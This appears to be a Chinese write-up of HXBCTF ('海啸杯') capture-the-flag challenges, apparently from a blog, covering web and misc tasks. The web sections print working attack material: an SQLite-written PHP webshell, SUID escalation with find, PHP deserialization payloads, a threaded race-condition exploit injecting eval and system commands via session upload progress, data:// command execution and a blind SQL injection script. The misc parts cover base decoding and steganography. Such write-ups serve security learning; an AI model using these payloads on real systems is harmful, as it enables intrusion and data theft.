海啸杯hxb

web\nwelcome to 海啸杯\n查看源代码,拿到flag。\n\nHXBCTF{welcome _to_HXB}\n极客邀请函\n考点:SQLite get shell、SUID提权\n\n查看网页源码,看到注释里的PHP代码\n\n\u003C?php\nclass MyDB extends SQLite3\n{\nfunction __construct()\n{\n$this->open('./test.db');\n}\n}\n$db = new MyDB();\nif(!$db){\necho $db->lastErrorMsg();\n} else {\necho \"Opened database successfully\\n\";\n}\n​\nif($POST[\"cmd\"]!=NULL)\n{\nif(strpos($POST[\"cmd\"],'system')!==false){\necho 'HACK不准哦 达咩 达咩哦';\n}else{\necho '执行成功';\n$db->exec($POST[\"cmd\"]);*\n}\n}\n?>\nSQLite还可以生成任意后缀名的数据库文件 创建一个 shell.php 的数据库文件,新建一个名为 exp 的表,并在表中插入: \u003C?php @eval($POST[1]); ?> ,即一句话木马\n\nATTACH DATABASE 'shell.php' AS hxbctf; create TABLE hxbctf.exp (dataz text);\ninsert INTO hxbctf.exp (dataz) VALUES ('\u003C?php eval($_POST[\"cmd\"])?>');\n用蚁剑连接:\n\n发现flag在/tmp目录下,但没有权限查看,使用suid提权 利用find找到有SUID权限\n\nfind / -user root -perm -4000 -exec ls -ldb {} \\;\nfind文件所属者和所属组都为root用户,使用find命令可以执行其它的系统命令,因此可以使用find命 令运行whoami查看当前用户\n\nfind 1 -exec whoami \\;\n使用find获取flag\n\nfind 1 -exec cat /tmp/flag \\;\n参考文章:\n\n一文让你深刻理解什么是suid提权_Nddey的博客-CSDN博客_suid提权\n\ninfant_serialize\nAtuhor:eeknight\n\n考点:PHP反序列化原生类利用、wakeup绕过\n\n题目描述:反了反了\n\n \u003C?php\nheader(\"Content-Type: text/html; charset=utf-8\");\nerror_reporting(0);\n​\nclass dalao{\n   public $class;\n   public $para;\n   public $check;\n   public $status=\"heike\";\n   public function __construct()\n   {\n       $this->class = \"hunzi\";\n       $this->para = \"luansha\";\n       echo new $this->class ($this->para);\n   }\n   public function __wakeup() {\n           $this->status=\"dalao\";\n   }\n​\n   public function __destruct()\n   {\n       if($this->status!=\"dalao\"){\n           $this->check = new jingcha;\n           if($this->check->filter($this->para) && $this->check->filter($this->class)) {\n               echo new $this->class ($this->para);\n           }\n           else\n               die('有黑客,抓起来!!!!');\n       }\n       else\n           die(\"欢迎大佬!!!!!!!\");\n   }\n​\n}\nclass hunzi{\n   var $a;\n   public function __construct($a)\n   {\n       $this->a = $a;\n       echo (\"hello \".$this->a);\n   }\n}\nclass jingcha{\n   function filter($code){\n       $pattern = '/[|\\'*|=|\"|;|?]/i';\n       if (preg_match($pattern, $code)){\n           return false;\n       }\n       else\n           return true;\n   }\n}\n​\n​\nif(isset($_GET['dalao'])){\n   unserialize(base64_decode($_GET['dalao']));\n}\nelse{\n   highlight_file(__FILE__);\n}   \n遍历得到flag名字 ,使用原生类FilesystemIterator。\n\n\u003C?php\nclass dalao{\npublic $class='FilesystemIterator';\npublic $para=\"/var/www/html\";\npublic $check;\n}\n$zh = new dalao();\n$zh= serialize($zh);\n$zh = str_replace(':3:',':4:',$zh); \necho base64_encode($zh);\n得到42177812215a92ea1ad9b7d61a1787e8.php,即为flag所在的文件,\n\n接着读取,使用原生类SplFileObject:\n\n\u003C?php\nclass dalao{\npublic $class='SplFileObject';\npublic $para=\"/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php\";\npublic $check;\n}\n$zh = new dalao();\n$zh= serialize($zh);\n$zh = str_replace(':3:',':4:',$zh); \necho base64_encode($zh);\n小小web\n考点:md5绕过、伪协议\n\n \u003C?php\nhighlight_file(__FILE__);\nfunction random(){\n   $a = rand(188,34)*34;\n   $b = rand(13,9);\n   return $a+$b;\n}\n$r = random();\nif((string)$_GET['a']==(string)md5($_GET['b'])){\n   $a=$_GET['a'];\n   $b=md5($_GET['b']);\n   if($a.$r == $b){\n       echo \"yes\".\"\\n\";\n       if(preg_match('/php|file|\\/\\/|sftp|http|https|gopher/is', $_GET['c'])){\n           die(\"hack\");\n       }\n       else{\n           $c = file_get_contents($_GET['c']);\n           eval($c);\n       }\n   }\n} \n$r = random();if((string)$_GET['a']==(string)md5($_GET['b'])){ $a=$_GET['a']; $b=md5($_GET['b']); if($a.$r == $b){\n有一个random方法,返回的是一个随机数,在这道题中,不需要清楚返回的是什么内容,我们只要知道返回的是一串数字就可以了。传入两个参数a和b,要求传入的是字符串,b会经过md5加密。最后要让$a.$r == $b。因为是弱类型比较,且只能传入字符串,想要的是两个0e开头的字符串进行比较,因为$b是参数b经过md5加密而来,所以我们传入md5加密后是0e开头的字符串即可。\n\n构造a,b如下\n\n?a=0e123221&b=s1502113478a&c=/var/www/html/flag.PHP%0a\n $c = file_get_contents($_GET['c']);     eval($c);\n刚开始以为直接将路径传给c,eval输出flag。。。\n\n后来发现正则绕不过去,/is 匹配所有字符及换行符。\n\n联想到题目 你就爆吧你。。应该是\n\n第一种解法:\n\nPHP_SESSION_UPLOAD_PROGRESS文件包含利用\n\n的知识点了来绕过。文件竞争命令执行拿flag。\n\n上传一个自定义的内容临时文件,传入eval,进行rec即可。\n\nexp:\n\nimport io\nimport requests\nimport threading\nimport time \n​\ndef poc(session):\n   global event\u003C?=\n   while True:\n       f = io.BytesIO(b'a' * 1024 * 50)\n       resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system(\"cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php\");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>\u003C?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )\n       while resp.status_code==429:\n           time.sleep(0.3)\n           resp = session.post( 'http://121.37.24.208:63738/?a=0e11&b=s1502113478a&cmd=system(\"cat%20/var/www/html/42177812215a92ea1ad9b7d61a1787e8.php\");&c=/tmp/sess_bbbbbbb', data={'PHP_SESSION_UPLOAD_PROGRESS': ' ?>\u003C?php echo 44*44;eval($_GET[cmd]);echo 44*44;?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': 'bbbbbbb'} )\n       print(resp.text[resp.text.find('\u003C/code>yes'):])\n​\n​\n​\nif __name__==\"__main__\":\n   event=threading.Event()\n   with requests.session() as session:\n       for i in range(1,30): \n           threading.Thread(target=poc,args=(session,)).start()\n​\n运行得到flag。\n\n第二种:\n\ndata协议data:text/plain file_get_contents拼接伪协议\n\n虽然过滤了//,但是data:text/plain也可以用。\n\nc3lzdGVtKCJscyIpOw==   //system(\"ls\");base64编码查看目录\n?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJscyIpOw==;\n发现42177812215a92ea1ad9b7d61a1787e8.php\n\n读取flag:\n\nsystem(\"cat /var/www/html/42177812215a92ea1ad9b7d61a1787e8.php\");\n注意 ;不要漏掉\n\nbase加密为:\n\nc3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=\n?a=0e123221&b=s1502113478a&c=data:text/plain;base64,c3lzdGVtKCJjYXQgL3Zhci93d3cvaHRtbC80MjE3NzgxMjIxNWE5MmVhMWFkOWI3ZDYxYTE3ODdlOC5waHAiKTs=;\n扫一扫\n信息泄露,disrearch扫描发现有www.zip,直接打开失败,拖到010拿到flag。\n\nHXBCTF{message_leak_is_dangerous!}\n​\nhappy_sql\nsql,盲注脚本编写。\n\nimport re\nimport requests\nurl=\"http://121.37.24.208:58125/\"\nflag=\"\"\ni=0\nwhile True:\n small=32\n big=127\n i=i+1\n while small\u003Cbig:\n mid=small+big>>1\n data = {\n 'height':f\"0 or (select case when ord(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)) > {mid} then 1 else 0 end)\"}\n # 'height':f\"0 or (select case when ord(mid((select flag from happy_sql),{i},1)) > {mid} then 1 else 0 end)\"\n \n r=requests.post(url,data=data)\n if 'img/duochidian.jpg' in r.text:\n small=mid+1\n else:\n big =mid\n if(re.search(\"}\",flag)):\n break\n else:\n print(chr(small))\n flag+=chr(small)\nprint(flag)\nmisc\n套娃\n码多次base,知道是base16、base32、base64,根据它们的字符集,写个脚本逐层解码\n\n脚本破解即可:\n\nimport base64\nwith open(\"Base套娃.txt\", \"r\") as f:\n r = f.read()\nwhile True:\n try:\n r = base64.b16decode(r)\n print(\"base16\")\n except:\n try:\n r = base64.b32decode(r)\n print(\"base32\")\n except:\n try:\n r = base64.b64decode(r)\n print(\"base64\")\n except:\n pass\n if b\"hxbctf\" in r:\n print(r)\n break\n藏在云朵的二维码\nStegsolve 文件合成,发现有个二维码,接着就选择较为清晰的两张图疯狂合成,使得二维码清楚一点,最后扫描即可拿到flag。\n\n新时代保安\nStegsolve 选择不同的通道查看,即可拿到flag:\n\n我的银行卡密码是:xxxx\n使用archpr.exe对压缩包密码进行爆破,得出是987654。\n\n解压得到一张图片:\n\n也是放到Stegsolve ,选择不同的通道,lsb隐写 查找得到flag。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值